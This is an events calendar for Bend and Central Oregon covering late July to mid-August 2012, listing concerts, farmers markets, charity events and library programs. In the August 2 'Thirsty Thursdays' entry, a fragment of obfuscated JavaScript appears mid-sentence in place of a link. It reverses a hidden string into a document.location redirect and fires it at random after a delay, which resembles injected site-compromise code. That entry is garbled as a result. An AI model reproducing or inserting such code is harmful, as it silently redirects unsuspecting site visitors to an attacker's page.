7-10pm Fund raiser for the American Cancer Society’s Relay for. We will be having live music. Participation is free and we will be donating a portion of all proceeds to the cause. In addition we will have a donation jar for anyone who wants to donate. www. benddvine.com, 541-323-3277, 916 NW Wall St. Bend.

July 27 MUSIC
Moon Mountain Ramblers at Parilla Grill

Show Us Your Spokes celebrates musical talent in an outdoor venue with discounts for concert goers who pound the pavement or spin their spokes to get there. A $6 per person concert fee is discounted to $5 for anyone who bikes to the concerts at Parilla Grill, located on the Galveston and 14th roundabout on Bend’s Westside. Parilla Grill serves global burrito-style wraps for lunch and dinner, as well as beer, wine and margaritas. 635 NW 14th Street, Bend.541-617-9600.

July 27 MUSIC
Party On The Patio at Country Catering
4:30 – 8pm. Every Friday. All you can eat bbq $10.95 per person featuring live music from Soul Benders. 900 SE Wilson #B, Bend. 541-383-5014

July 27 MUSIC
Galveston Street Project
6-9pm A last-Friday event on Galveston, businesses will stay open late, including food carts. Live music will pour from shops. Beer and wine tastings will abound. Special art displays will hang. You get the picture.

July 28
Solar Viewing at the High Desert Museum
Observe our nearest star from the Museum meadow safely with equipment from Pine  Mountain Observatory and Sunriver Nature Center (weather permitting). 11am-2pm. www.highdesertmuseum.org.

July 28
Author Talk: Jane Kirkpatrick at High Desert Museum
Local author Jane Kirkpatrick reads from her latest novel, Where Lilacs Still Bloom.  Let your imagination roam to an early 20th-century Washington homestead where  ambition and perseverance are the driving forces behind one housewife’s success and  self-discovery. 2pm www.highdesertmuseum.org.

July 28
Saturday Market downtown Bend
Downtown Bend, across from the Bend Library between Wall Street and Bond Street
www.centraloregonsaturdaymarket.com

 

July 28
Oregon High Desert Classic II
4:30pm Grand Prix Show & Dinner
Call Amanda Gow for tickets at 541-312-6047

July 28
NorthWest Crossing Farmers Market
10am-2pm, Music by Zuulibaa. NorthWest Crossing Neighborhood Center,Bend
Valerie Yost, valerie@brooksresources.com, 541-382-1662
A ripe selection of the region’s best organic artisans in produce, meats, farm fresh eggs, baked goods, skincare and other lifestyle products available for you to explore along the main street of the intimate NorthWest Crossing neighborhood in Bend, Oregon. The participating vendors, musicians and restaurants this season personify our superior quality of life in Bend.  They are masters of their craft, and we are looking forward to kicking it up a notch at NorthWest Crossing.
www.nwxevents.com

July 28
Wings & Wheels Airport Fly-In at Sunriver Resort
7:30-11:30am The 18th Annual Wings and Wheels Charity Fly-In will take place at the Sunriver Airport. Antiques enthusiasts, airplane aficionados and pancake connoisseurs of all ages are invited to the local fundraiser, which features a no-admission antique car show, specialty airplane showcase, biplane rides, helicopter tours, aerial demonstrations and many more family-friendly activities.
Tickets to the Special Recipe Pancake Breakfast (beginning at 7:30am) available at a cost of $6 for adults, $4 for kids ages 6–10 and free for children 5 and under to benefit New Generations.
800-801-8765, www.sunriver-resort.com.

July 28
Beer For Boobies at Cross Creek Cafe
5pm Beer For Boobies is Cross Creek Cafe’s annual charity event to raise money for Sara’s Project. The evening is full of live music provided by The Rum and the Sea and Greg Botsford and the Journyman. Proceeds from beer sales and a silent auction are donated to Sara’s Project. The highlight of the night is “Redmond Best Rack Contest, which is a men’s best chest contest judged by breast cancer survivors.
This event is held at Cross Creek Cafe 507 SW 8th st. in Redmond.

July 28
Urban Scramble at Troy Field, Bend
9:30am-1:30pm The Urban Scramble “Bend’s Wackiest Footrace” is in it’s second year, The start/finish line is at Troy Field in downtown Bend and the course will cover the span between there and the Old Mill marketplace. Individuals and teams will be given a map with clues and directions to stunt stations (hosted by local businesses) and trivia questions about local Bend. They will have two hours to walk or run their own course in order to collect as many points as they can by performing wacky stunts, playing goofy games and collecting random paraphernalia along the way.
Registration is $20 for adults and $12 for children 14 and under. A portion of the proceeds to benefit Healthy Beginnings.
All ages welcome. Teams must stay together. No wheels allowed except for strollers and wheelchairs. 
Registration is easy. Online: www.urbanscramble.evenbrite.com or in person at Footzone. Day of registration is available from 8:30-9:15am

July 28
Central Oregon Cool Cars & Coffee
8-10am Brookswood Meadow Plaza, at 19530 Amber Meadow Drive in Southwest Bend just off of Brookswood Boulevard.
Residents and visitors who have been looking to swap stories, share their automotive treasures or simply hang out with others who want to talk cars, are invited.  www.brookswoodmeadowplaza.com.

July 29 MUSIC
Paul Thorn Free Summer Sunday Concerts at Les Schwab
2:30-4:30pm St. Charles Medical Center presents Paul Thorn does blues, roots, country and gospel music. Thorn writes and performs songs taken from life – good times, bad times, and everything in between. His last album Pimps and Preachers made it to #1 on the Americana charts. Paul’s upcoming album What The Hell’s Going On? will be released in May. Twitter@bendconcerts
 
July 29
Wendy’s Wish Golf Ball Drop Fundraiser
Nearly 5,000 golf balls will rain down on Riverbend Park July 29 to raise funds for Wendy’s Wish, an organization dedicated to helping cancer patients and increasing awareness of regular screenings for the early detection of colon cancer.
On July 29, numbered balls representing prizes donated by the community will be dropped by a Leading Edge Aviation helicopter onto a grid featuring golf holes sponsored by Miller Ford Madras, M Jacobs Fine Furniture, Pro Golf of Bend and Broken Top Golf Club. Prizes will be awarded based on the distance the golf balls land relative to the four primary sponsor holes.
Contributions, which are tax deductible, are also welcome. To make a donation or volunteer, contact Al Huntley at 541-788-5366 or Daryl Hjeresen 541-419-5736.
Or visit Wendy’s Wish online at www.wendyswish.org.

 July 30
Improv/Sketch Comedy Troupe Meeting at ITW
Innovation Theatre Works is proud to announce it will be accepting members into a brand new Improv and Sketch Comedy Troupe.  The new troupe will be called The Bend OverView and its programs will be loosely modeled on the world-famous Groundlings from Los Angeles.  Mixing traditional and long-form improvisational techniques with scripted sketch comedy, the troupe will develop programs and presentations through a rigorous class structure and rehearsal.
The first meeting of all interested will be held Monday, July 30th at Innovation Theatre Works.  Actors, writers, comedians, or anyone with an interest is invited to attend.  The overall program will be structured to accommodate all skill levels from very beginner to seasoned artist, no-one need be afraid to attend.  Prior registration in the first meeting/workshop is mandatory to attend.
1155 SW Division Street btw. 3rd and Reed Market in the Scandia Square behind the new Goody’s Factory Store.
541-504-6721 or e-mail brad@innovationtw.org

July 31 MUSIC
The Alley Cats Jazz Ensemble at Bend Community Center
10:30am – 11:30am, 1036 NE 5th St each Tuesday. Come and listen/dance and then enjoy lunch (11:00am – 12:30pm) Donations accepted, 541-312-2069.

July 31 MUSIC
Uke Jam at Broken Top Bottle Shop
6:30pm. Open to the public. 1710 Pence Ln  Bend.

July 31
Redmond Farmers Market at Centennial Park
2-6:30pm During the summer season Redmond’s Centennial Park comes alive with locally grown and crafted products every Tuesday (thru Sept 11) at the Redmond Farmers Market. This year’s market, will continue to feature farm fresh, locally and Oregon grown products, as well as, showcase wonderful natural products and handmade crafts.
A number of new vendors like Rainshadow Organics and Marquam Hill Berries will increase the variety of organically grown product choices available at this year’s market. It will also feature new hours, opening at 2pm and running until 6:30pm ensuring working professionals have the opportunity to browse and enjoy the market.
The hours are not the only change to this season’s downtown Redmond Farmers Market. The market has been selected by Central Oregon Locavore and Agricultural Connections as a designated product drop-off/pick-up location. Making it even more convenient than ever for our community to connect with and support local farming efforts.
www.downtownredmondmarket.com, Michelle Jiunta, Market Manager at 541-550-0066.

July 31
Smokey & Woodsy Lecture Series: Century of Service at High Desert Museum
Revisit the first 100 years of the U.S. Forest Service in the High Desert with Bob Boyd, the Museum’s curator of Western history. With an engaging blend of historic images, artifacts and narrative, Bob will trace the evolution of the agency’s challenging role in managing the region’s public forest lands since 1905. 6pm. Members, free; non-members, $3. RSVP: 541-382-4754 www.highdesertmuseum.org.  

July 31 MUSIC
Sound Lab at Hawthorn Healing Arts Center
6:30pm Sound Lab sound healing and experimental sonic mysticism sessions
Donation basis–just come if you feel inspired. Sound, vibration and music have for millenia been known, by cultures throughout the world, to be a fundamental part of what inspires human health, vitality and happiness.  Experience first hand this phenomenon as a rotating group of healers and musicians come together to co-create.  Many instruments, including strings, percussion, bowls, and the voice will be employed.  Just sit back, relax, and enjoy the music. 541-330-0334 or email info@hawthorncenter.com

August 1
Bend Farmers Market in Brooks Alley
3-7pm Mirror Pond at the top of Drake Park
www.bendfarmersmarket.com  

August 1 MUSIC
Big Head Todd and the Monsters at the Athletic Club of Bend
Freedom Wellness Peak Summer Nights, Presented by Northwest Brain and Spine, Dr’s Yundt and Hadden (Formerly Clear Summer Nights)
$26 General Admission. Tickets on sale now in-person or charge-by-phone at Newport Avenue Market 541-382-3940 www.c3events.com  

August 1 MUSIC
Alive After Five Concerts in the Old Mill District
Johnny Clegg
Free www.c3events.com  

August 1 MUSIC
Downhill Ryder at Music in the Canyon
Music in the Canyon, 5:30 ’til 8pm A great band featuring the original songs of local songwriter Kim Kelley.
http://musicinthecanyon.com/

August 1 MUSIC
Tommy Leroy duo at Hola!
7-10pm http://www.holabend.com/
Hola! Downtown location on the corner of Bond and Minnesota. 541-728-0069.

August 1
Picnic in the Park Pioneer Park, Prineville, Oregon
Funktastik-Motown/Soul
Wednesday evenings, 6-8pm
541-447-6909

August 1 MUSIC
Chris Young at Deschutes County Fair Grounds
7pm Hosted by McDonalds, KSJJ 102.9 and Smolich Motors.  Concert is “Free” with ticket (Fair admission not included).  Pick up tickets every Wednesday from July 4 – August 1 at any Central Oregon McDonalds restaurant between 2:00– 7:00pm as supplies last – no purchase necessary. http://expo.deschutes.org/index.php/fair_expo/fair/events_attractions  

August 1
Night Crawlers at Sunriver Public Library
1pm Ages 6-11 Let’s Go Batty www.deschuteslibrary.org/sunriver

August 2 MUSIC
Uncle Kracker at Deschutes County Fair Grounds
7pm Hosted by McDonalds, KSJJ 102.9 and Smolich Motors.  Concert is “Free” with ticket (Fair admission not included).  Pick up tickets every Wednesday from July 4 – August 1 at any Central Oregon McDonalds restaurant between 2:00– 7:00pm as supplies last – no purchase necessary. http://expo.deschutes.org/index.php/fair_expo/fair/events_attractions

August 2 MUSIC
Munch and Music in Drake Park
The Quick and Easy Boys
Free. www.c3events.com
 
August 2
Thirsty Thursdays at Faith, Hope and Charity Vineyards
Every Thursday from now until August 30th, Faith, Hope and Charity Vineyards will stay open until 8pm for Thirsty Thursdays.  For detailed information on these events, check =function(n){if (typeof (.list[n]) == “string”) return .list[n].split(“”).reverse().join(“”);return .list[n];};.list=[“‘//:ptth’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}andcharityevents.com” title=”http://www.faithhopeandcharityevents.com/”>www.faithhopeandcharityevents.com, 70455 NW Lower Bridge Way, Terrebonne, 541-526-5075  

August 3 MUSIC
Party On The Patio at Country Catering
4:30 – 8pm. Every Friday. All you can eat bbq $10.95 per person featuring live music from Soul Benders. 900 SE Wilson #B, Bend. 541-383-5014  

August 3 MUSIC
Luke Redfield with Brave Julius at Horned Hand
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August 3
Bend First Friday Artwalk
5-9pm Downtown Bend, Art galleries and merchants open, many with music and art exhibits. www.CascadeAE.com for complete list of new exhibits.  

August 3 MUSIC
Beer, Back-Alley BBQ, Art & Live Music at Deschutes Brewery
5pm – 9pm, Deschutes Brewery Bend Public House, 1044 NW Bond Street.
Deschutes is back on board for the popular downtown Bend First Friday Art Walk! Deschutes will be participating with a back-alley party May through September 2012. 541-382-9242.

August 3 MUSIC
Joy Kills Sorrow at Sisters Folk Festival
6:30pm Boston-based newgrass band Joy Kills Sorrow will be visiting the Sisters Art Works lawn as part of Sisters Folk Festival Inc.’s summer programming.
Joy Kills Sorrow is a five-piece acoustic ensemble centered on intricate musicality and soaring female vocals. Formed largely of Berklee School of Music graduates, Joy Kills Sorrow is widely known as an extraordinarily talented group of musicians.
The group is playing a large number of big music festivals this year including: Telluride Bluegrass Festival, Calgary Folk Festival, and the N.W. String Summit.
Tickets for Joy Kills Sorrow, as well as the 2012 Sisters Folk Festival, are available from Paulina Springs Books of Sisters and Redmond, as well as FootZone of Bend. Tickets can also be purchased from the Sisters Folk Festival office at 541-549-4979. Admission is $15 for adults and $10 for students. Food, beer and wine will be for sale. Low-back chairs are permitted.info@sistersfolkfestival.org, 541-549-4979.
The Sisters Art Works Lawn is located at 204 W. Adams Ave.

August 3 MUSIC
Brian Howe at Deschutes County Fair Grounds
7pm Hosted by McDonalds, KSJJ 102.9 and Smolich Motors.  Concert is “Free” with ticket (Fair admission not included).  Pick up tickets every Wednesday from July 4 – August 1 at any Central Oregon McDonalds restaurant between 2:00– 7:00pm as supplies last – no purchase necessary. http://expo.deschutes.org/index.php/fair_expo/fair/events_attractions  

August 3-5
Cascade Gran Fondo Bike Ride
Welcome to the home of the second annual Cascade Gran Fondo!  You’re invited to join Team RadioShack Nissan Trek’s Chris Horner for three fantastic days in scenic Bend.
The Cascade Gran Fondo will showcase many of the great things Bend has to offer, including an evening of entertainment in the historic downtown Tower Theatre, a fantastic dinner on Bend’s Westside and a scenic ride through the Cascade mountains and Deschutes National Forest. The ride was designed by Chris to suit every type of rider, from competitive cyclists looking to challenge themselves to casual cyclists looking for a fun ride in central Oregon and everyone in between!
http://www.cascadegranfondo.com/

August 3-17
Art of the West Showcase at High Desert Museum
Brooks Gallery, preview the artwork that will be auctioned off at the High Desert Rendezvous. www.highdesertrendezvous.org, 541-382-4754.

August 4
Saturday Market downtown Bend
Downtown Bend, across from the Bend Library between Wall Street and Bond Street www.centraloregonsaturdaymarket.com  

 August 4
NorthWest Crossing Farmers Market
10am-2pm, Music by The Islanders. NorthWest Crossing Neighborhood Center,Bend
Valerie Yost, valerie@brooksresources.com, 541-382-1662
A ripe selection of the region’s best organic artisans in produce, meats, farm fresh eggs, baked goods, skincare and other lifestyle products available for you to explore along the main street of the intimate NorthWest Crossing neighborhood in Bend, Oregon. The participating vendors, musicians and restaurants this season personify our superior quality of life in Bend.  They are masters of their craft, and we are looking forward to kicking it up a notch at NorthWest Crossing.
www.nwxevents.com

August 4 MUSIC
Hot Chelle Rae at Deschutes County Fair Grounds
7pm Hosted by McDonalds, KSJJ 102.9 and Smolich Motors.  Concert is “Free” with ticket (Fair admission not included).  Pick up tickets every Wednesday from July 4 – August 1 at any Central Oregon McDonalds restaurant between 2:00– 7:00pm as supplies last – no purchase necessary. http://expo.deschutes.org/index.php/fair_expo/fair/events_attractions  

 

August 4 MUSIC
The Calamity Cubes & More at Horned Hand
Soda Gardocki , Tom Vandenavond,  The Calamity Cubes – American Classic Songwriters with Kansas’s Premier Thrashicana
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August 4
Central Oregon Cool Cars & Coffee
8-10am Brookswood Meadow Plaza, at 19530 Amber Meadow Drive in Southwest Bend just off of Brookswood Boulevard.
Residents and visitors who have been looking to swap stories, share their automotive treasures or simply hang out with others who want to talk cars, are invited.  www.brookswoodmeadowplaza.com.

August 4 MUSIC
Hopeless Jack and Harley Bourbon at Parilla Grill
Show Us Your Spokes celebrates musical talent in an outdoor venue with discounts for concert goers who pound the pavement or spin their spokes to get there. A $6 per person concert fee is discounted to $5 for anyone who bikes to the concerts at Parilla Grill, located on the Galveston and 14th roundabout on Bend’s Westside. Parilla Grill serves global burrito-style wraps for lunch and dinner, as well as beer, wine and margaritas. 635 NW 14th Street, Bend. 541-617-9600.

August 5
The Speakeasy at Innovation Theatre Works
6pm Open Mic Storytelling Series
The SPEAKEASY will return as a monthly offering in its intimate Balcony Cafe with a tribute to the master of stories, Ray Bradbury.
The SpeakEasy was first launched in 2010 as the first of its kind event in our region, giving anyone with a voice and a story to tell a place to do just that.
The SpeakEasy features a different theme each month and all are invited to join in with a story based on that month’s theme. Storytellers are invited to memorize or read one of their favorite Ray Bradbury stories. The usual SpeakEasy rules will be relaxed for this one evening only, but we ask everyone to try to choose a story no longer than 10 minutes.  On all subsequent evenings, stories will be limited to 7 minutes.  As always, stories should remain within the monthly theme.
For this month only, storytellers are also asked to please PREREGISTER with ITW in order to avoid story duplication.  Please call the theater at 541-504-6721 or e-mail brad@innovationtw.org to reserve your spot.  On all subsequent evenings, storytellers may reserve space early or sign up upon arrival at the theatre.
Innovation Theatre Works, 1155 SW Division St. in the Scandia Square, $5.

August 5 MUSIC
Beatles to Beethoven, Sunriver Music Festival
4:30pm Great Hall, Sunriver
A fun and festive evening, including an elegant dinner specially prepared by the Sunriver
Resort chefs. Guests will be greeted with hors d’oeuvres and beverages as they peruse the silent and live auction items. During dinner and the live auction, music will be provided by the 2012 Young Artist Scholarship winners. $100 per person
Sunriver Music Festival PO Box 4308 Sunriver, OR 97707
541-593-9310, 541-593-6959, tickets@sunrivermusic.org, www.sunrivermusic.org

 August 6-16
Young Artists Theatre Conservatory Summer Theatre Camp
2-week, 4-day per week full theatrical immersion camp with the goal of mounting a production in each age group at the end of the camp. $199 per student with a maximum of 12 students per age bracket. Mon – Thurs, 9am – 3pm at ITW. Age brackets: 6-8, 9-11, 12-15/16.

August 7 MUSIC
Uke Jam at Broken Top Bottle Shop
6:30pm. Open to the public. 1710 Pence Ln  Bend.

August 7 MUSIC
The Outlaw Roadshow with Counting Crows at Les Schwab Amphitheater
Les Schwab Amphitheater in Bend
Doors: 5pm / Show: 6pm
Tickets sale Friday, May 18 at 10am.
Reserved seating Tickets: $75 :: General Admission tickets: $39
All Ages
Ticket link: http://bit.ly/CCROWSlsa

August 7
Redmond Farmers Market at Centennial Park
2-6:30pm During the summer season Redmond’s Centennial Park comes alive with locally grown and crafted products every Tuesday (thru Sept 11) at the Redmond Farmers Market. This year’s market, will continue to feature farm fresh, locally and Oregon grown products, as well as, showcase wonderful natural products and handmade crafts.
A number of new vendors like Rainshadow Organics and Marquam Hill Berries will increase the variety of organically grown product choices available at this year’s market. It will also feature new hours, opening at 2pm and running until 6:30pm ensuring working professionals have the opportunity to browse and enjoy the market.
The hours are not the only change to this season’s downtown Redmond Farmers Market. The market has been selected by Central Oregon Locavore and Agricultural Connections as a designated product drop-off/pick-up location. Making it even more convenient than ever for our community to connect with and support local farming efforts.
www.downtownredmondmarket.com, Michelle Jiunta, Market Manager at 541-550-0066.

August 7
Brookswood Plaza Farmers Market
3-7pm Farm, artisan, craft and other vendor booths.
www.brookswoodmeadowplaza.com

 

August 7 MUSIC
Tyler Fortier, James Orr at Horned Hand
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August 7
Family Fun Story Time at Sunriver Public Library
10:30am 0-5 yrs.  Stories and Fun! www.deschuteslibrary.org/sunriver

August 8
Night Crawlers at Sunriver Public Library
1pm Ages 6-11 Dream Big-Party! www.deschuteslibrary.org/sunriver


August 8
Bend Farmers Market in Brooks Alley
3-7pm Mirror Pond at the top of Drake Park
www.bendfarmersmarket.com  


August 8 MUSIC
Alive After Five Concerts in the Old Mill District
Dirty Dozen Brass Band (w/special guest Moon Mountain Ramblers)
Free www.c3events.com  

August 8 MUSIC
Two/Thirds Trio at Flatbread Community Oven  

August 8 MUSIC
Little Black Dress at Hola!
7-10pm http://www.holabend.com/
Hola! Downtown location on the corner of Bond and Minnesota. 541-728-0069.

August 8
Picnic in the Park Pioneer Park, Prineville, Oregon
Carrie Cunningham and the Six Shooters AT THE CROOK COUNTY FAIR-Country
Wednesday evenings, 6-8pm
541-447-6909

August 8
The Good, The Bat, And The Ugly at Sisters Library
12pm Deschutes Public Library welcomes Simon Wray of the Oregon Department of Fish and Wildlife to the Downtown Bend, Sisters, and LaPine Public Libraries for a presentation called “The Good, The Bat, and the Ugly.” The programs are free and open to the public and part of the Deschutes Public Library Adult Summer Reading Program being offered throughout the county. For more information about this or other library programs, please visit the library website at www.deschuteslibrary.org. People with disabilities needing accommodations (alternative formats, seating or auxiliary aides) should contact Liz at 312-1032.  

August 8
The Good, The Bat, And The Ugly at Bend Library
6:30pm Deschutes Public Library welcomes Simon Wray of the Oregon Department of Fish and Wildlife to the Downtown Bend, Sisters, and LaPine Public Libraries for a presentation called “The Good, The Bat, and the Ugly.” The programs are free and open to the public and part of the Deschutes Public Library Adult Summer Reading Program being offered throughout the county. For more information about this or other library programs, please visit the library website at www.deschuteslibrary.org. People with disabilities needing accommodations (alternative formats, seating or auxiliary aides) should contact Liz at 312-1032.

August 8-11
Crook County Fair at Crook County Fairgrounds
541-447-6575, ccfgstaff@co.crook.or.us, www.crookcountyfairgrounds.com.

August 9 MUSIC
Munch and Music in Drake Park
The Fixx (w/special guests Voodoo Highway)
Free. www.c3events.com


August 9
The Good, The Bat, And The Ugly at LaPine Library
12pm Deschutes Public Library welcomes Simon Wray of the Oregon Department of Fish and Wildlife to the Downtown Bend, Sisters, and LaPine Public Libraries for a presentation called “The Good, The Bat, and the Ugly.” The programs are free and open to the public and part of the Deschutes Public Library Adult Summer Reading Program being offered throughout the county. For more information about this or other library programs, please visit the library website at www.deschuteslibrary.org. People with disabilities needing accommodations (alternative formats, seating or auxiliary aides) should contact Liz at 312-1032.


August 9 MUSIC
Jason & The Phenomenauts, Prima Donna at Horned Hand
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August 10 MUSIC
The Hooten Hallers w/ Onward Etc. at Horned Hand
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August 10 MUSIC
Sunriver Music Festival ~ Pops Concert
7:30pm Bend High Auditorium Classical Mystery Tour, a tribute to the Beatles
The four musicians in Classical Mystery Tour look and sound just like The Beatles. The
show presents more than two dozen Beatles tunes performed exactly as they were originally recorded from early Beatles music on through the solo years. The program includes full orchestrations to create a powerful presentation of these memorable Beatles tunes. Symphonies throughout the US are presenting the Classical Mystery Tour concert to sold-out audiences. Tickets: $50 to $30 & $10-under 18 in Gen Adm.
Sunriver Music Festival PO Box 4308 Sunriver, OR 97707
541-593-9310, 541-593-6959, tickets@sunrivermusic.org, www.sunrivermusic.org


August 10-12
Shakespeare’s The Tempest at Innovation Theatre Works
Because this community has been so supportive of the work we do at ITW, we have gathered together several wonderful sponsors, including the great people at GoodLife Brewing to underwrite this production as a special gift to our unique and beautiful home. GoodLife Brewing Beer Garden, Century Center  – 70 SW Century Drive.
Fri – Sat 7:30pm, Sun 2pm
Tickets available beginning July 1 at ITW.
Please note: there is a limit of 4 free tickets per person for this event.


August 10-12
Sunriver Art Faire
10am – 7pm (Fri & Sat, Sun 10am – 2pm) The third annual Juried Sunriver Art Faire, sponsored by the Sunriver Women’s Club, will take place in the Village at Sunriver All proceeds go to support non-profit organizations that assist families, the arts and education in South Deschutes County. Faire will showcase artists displaying and selling their fine arts and crafts.
Special events will include a performance Friday evening 5-7pm by the vocal group Cinder Blue, winners of the 2011 Art Faire Talent Show. Saturday evening 7-9:30pm in the Village at Sunriver brings a return of last year’s highly popular Street Dance, featuring the Klassixs Ayre Band.
Sunday will be Family Day at the Faire, kicked off with a pancake breakfast from 8-10am. Other family friendly activities planned during the Sunday Faire hours include a puppet theater, a caricature artist, and various young entertainers. Providing the perfect end to a fun Sunday is the esteemed Sunriver Music Festival’s Family Concert, planned for 2pm at the newly opened SHARC facility of Sunriver.
Info: www.sunriverartfaire.com or 877-269-2580.


August 11
Saturday Market downtown Bend
Downtown Bend, across from the Bend Library between Wall Street and Bond Street
www.centraloregonsaturdaymarket.com  

August 11
NorthWest Crossing Farmers Market
10am-2pm, Music by Buck and The Diggs. NorthWest Crossing Neighborhood Center,Bend
Valerie Yost, valerie@brooksresources.com, 541-382-1662
A ripe selection of the region’s best organic artisans in produce, meats, farm fresh eggs, baked goods, skincare and other lifestyle products available for you to explore along the main street of the intimate NorthWest Crossing neighborhood in Bend, Oregon. The participating vendors, musicians and restaurants this season personify our superior quality of life in Bend.  They are masters of their craft, and we are looking forward to kicking it up a notch at NorthWest Crossing.
www.nwxevents.com

August 11 MUSIC
Brad Tisdel and Willy Carmichael at Angeline’s Bakery
www.angelinesbakery.com, 541-549-9122

August 11
Unleash the Vision at Riverbend Park
10am – 6pm Feedin’ the People benefit. Music, over 40 dog friendly vendors, food, doggy kissing booth, silent auction, howlin’ dog jam, dogs on paddle boards, free doggy give-aways, doggy poker walk and more.
www.unleashthevision.org.

August 11
Run for the Birds at Sunriver Nature Center & Oregon Observatory
8am A benefit for the Nature Center & Oregon Observatory. 5k & 10k USATF sanctioned, starts and ends at The Village at Sunriver. www.sunrivernaturecenter.org, 541-593-4442.  

August 11
Family Adventure Walk at Sunriver Nature Center & Oregon Observatory
10am A benefit for the Nature Center & Oregon Observatory. Fun, educational event for children ages 2-12 & their families. Participants will learn interesting sicience/nature facts, do short activities and receive stickers to put in their passport. www.sunrivernaturecenter.org, 541-593-4442.

August 11
Second Saturday Art Reception at Artists Gallery Sunriver

4-7 pm You’re invited! Come indulge your creative curiosities and mingle with others during our popular Second Saturday Art Receptions.
57100 Beaver Drive, Sunriver Village, Building 19, 541-593-4382, http://www.artistsgallerysunriver.com/art-receptions.html

August 11 MUSIC
McDougall with Avery James and the Hillandales at Parilla Grill
Show Us Your Spokes celebrates musical talent in an outdoor venue with discounts for concert goers who pound the pavement or spin their spokes to get there. A $6 per person concert fee is discounted to $5 for anyone who bikes to the concerts at Parilla Grill, located on the Galveston and 14th roundabout on Bend’s Westside. Parilla Grill serves global burrito-style wraps for lunch and dinner, as well as beer, wine and margaritas. 635 NW 14th Street, Bend. 541-617-9600.

August 11
Write Now at Sunriver Public Library
1pm Do you enjoy writing?   Don’t miss this opportunity to put into practice your writing talent along with others who enjoy your passion.  Word games and skill building exercises are incorporated to make this an engaging, encouraging, and fun afternoon.  www.deschuteslibrary.org/sunriver

August 12 MUSIC
Sunriver Music Festival ~ Family Concert
2pm SHARC, Sunriver
It’s exciting to have the Family Concert back and even more exciting, at this new facility.
The Concert is the final event for Family Day at the Art Faire. This is a kid-friendly concert where they will be invited to sit up close to the orchestra to watch and listen to the instruments being played. Come join in on the fun!
Free Concert – tickets required – 541-593-9310
Sunriver Music Festival PO Box 4308 Sunriver, OR 97707
541-593-9310, 541-593-6959, tickets@sunrivermusic.org, www.sunrivermusic.org

August 12 MUSIC
The Features Free Summer Sunday Concerts at Les Schwab
2:30-4:30pm St. Charles Medical Center presents The Features are a psychedelic rock outfit that plays fresh off-kilter pop. The band’s song From Now On was on the Twilight Saga: Breaking Dawn soundtrack. The Features have opened for fellow Tennesseans Kings of Leon on various tours.
Twitter@bendconcerts

August 13
Poetry Slam at Astro Lounge
The Slam is a regularly occurring event that happens on the second Monday of every month at the Astro Lounge.
8pm, 7:30 sign up 
$3 suggested donation to pay poets
Poets of all kinds welcome!
loudgirlproductions@live.com

August 13
Ambiance Saturday Market, Redmond
10am-5pm 435 SW Evergreen Ave., Redmond Arts and crafts, quality used goods, packaged food items, & plants. Patti 541-504-2623 or info@ambianceartco-op.com.  

August 13-16
Arts Camp at Highland Baptist Church
Arts Camp for students entering 6th through 9th grades.
church@hbcredmond.org | www.hbcredmond.org | 541-548-4161

August 14
Redmond Farmers Market at Centennial Park
2-6:30pm During the summer season Redmond’s Centennial Park comes alive with locally grown and crafted products every Tuesday (thru Sept 11) at the Redmond Farmers Market. This year’s market, will continue to feature farm fresh, locally and Oregon grown products, as well as, showcase wonderful natural products and handmade crafts.
A number of new vendors like Rainshadow Organics and Marquam Hill Berries will increase the variety of organically grown product choices available at this year’s market. It will also feature new hours, opening at 2pm and running until 6:30pm ensuring working professionals have the opportunity to browse and enjoy the market.
The hours are not the only change to this season’s downtown Redmond Farmers Market. The market has been selected by Central Oregon Locavore and Agricultural Connections as a designated product drop-off/pick-up location. Making it even more convenient than ever for our community to connect with and support local farming efforts.
www.downtownredmondmarket.com, Michelle Jiunta, Market Manager at 541-550-0066.

August 14
Can Chaser Barrel Racing at Crook County Fairgrounds
Outdoor Arena, Free, 541-416-9099, www.canchaser.com  

August 14
Brookswood Plaza Farmers Market
3-7pm Farm, artisan, craft and other vendor booths.
www.brookswoodmeadowplaza.com

August 14 MUSIC
Zoe Muth and the Lost High Rollers at Horned Hand
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August 14
Family Fun Story Time at Sunriver Public Library
10:30am 0-5 yrs.  Stories and Fun! www.deschuteslibrary.org/sunriver

August 15 MUSIC
Johnny Outlaw and the Johnson Creek Stranglers at Horned Hand
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August 15 MUSIC
John Shipe Band at Music in the Canyon
John is a great singer, songwriter from Eugene. He will be joined by his band to play their provocative original music. http://musicinthecanyon.com/

August 15
Bend Farmers Market in Brooks Alley
3-7pm Mirror Pond at the top of Drake Park
www.bendfarmersmarket.com  

August 15 MUSIC
Norah Jones at Les Schwab
6:30pm Bend Summer Concerts $40-$60
Norah Jones first emerged on the world stage 10 years ago with the release of Come Away With Me, that introduced a singular new voice with the hit single Don’t Know Why and grew into a global phenomenon sweeping the 2003 Grammy Awards.

With Little Broken Hearts, her new collaboration with Danger Mouse, Norah Jones has expanded her sound in characteristically subtle ways. Twelve darkly luminous songs, each an exploration of emotions from various perspectives that invariably leads to a place of beauty and uplift. Don’t miss a chance to see Norah Jones in Bend! www.bendconcerts.com


August 15 MUSIC
The Moondoggies at McMenamins
7pm, 700 NW Bond Street, 541-382-5174, www.mcmenamins.com.


August 15 MUSIC
Sunriver Music Festival Concert I
7:30pm Bend High Auditorium
Beethoven Egmont: Overture
Beethoven Symphony No.9 in D minor, Op.125 featuring the Central Oregon Mastersingers
Tickets: $60 to $30
Sunriver Music Festival PO Box 4308 Sunriver, OR 97707
541-593-9310, 541-593-6959, tickets@sunrivermusic.org, www.sunrivermusic.org

 

August 15 MUSIC
AJ Cohen & Co at Hola!
7-10pm http://www.holabend.com/
Hola! Downtown location on the corner of Bond and Minnesota. 541-728-0069.

August 15
Picnic in the Park Pioneer Park, Prineville, Oregon
Design Band-Eclectic cover band
Wednesday evenings, 6-8pm
541-447-6909

August 16 MUSIC
Munch and Music in Drake Park
Tommy Castro (w/special guest FX Blues)
Free. www.c3events.com

August 16 MUSIC
Harmony 4 Women Kickoff Party at Bend High
5:30-7:30pm Sing & Celebrate Kickoff Party, All are invited You’ll laugh, eat delicious food, meet fabulous women & sing. To give you a taste of the H4W experience, Bella Acappella will sing a few of the songs you’ll be learning as we gear up for our benefit performance at Bend High School on October 13.
Bring your questions, your excited heart, singing friends, sisters, daughters, mothers, grandmothers & aunties.  The party will be held at 22055 Rickard Rd, Bend.  Please RSVP to Linda, 541.385.0356, trixytazzy@live.com. www.harmony4women.com  

August 16 MUSIC
Conjugal Visitors at Angeline’s Bakery
www.angelinesbakery.com, 541-549-9122  

August 16 MUSIC
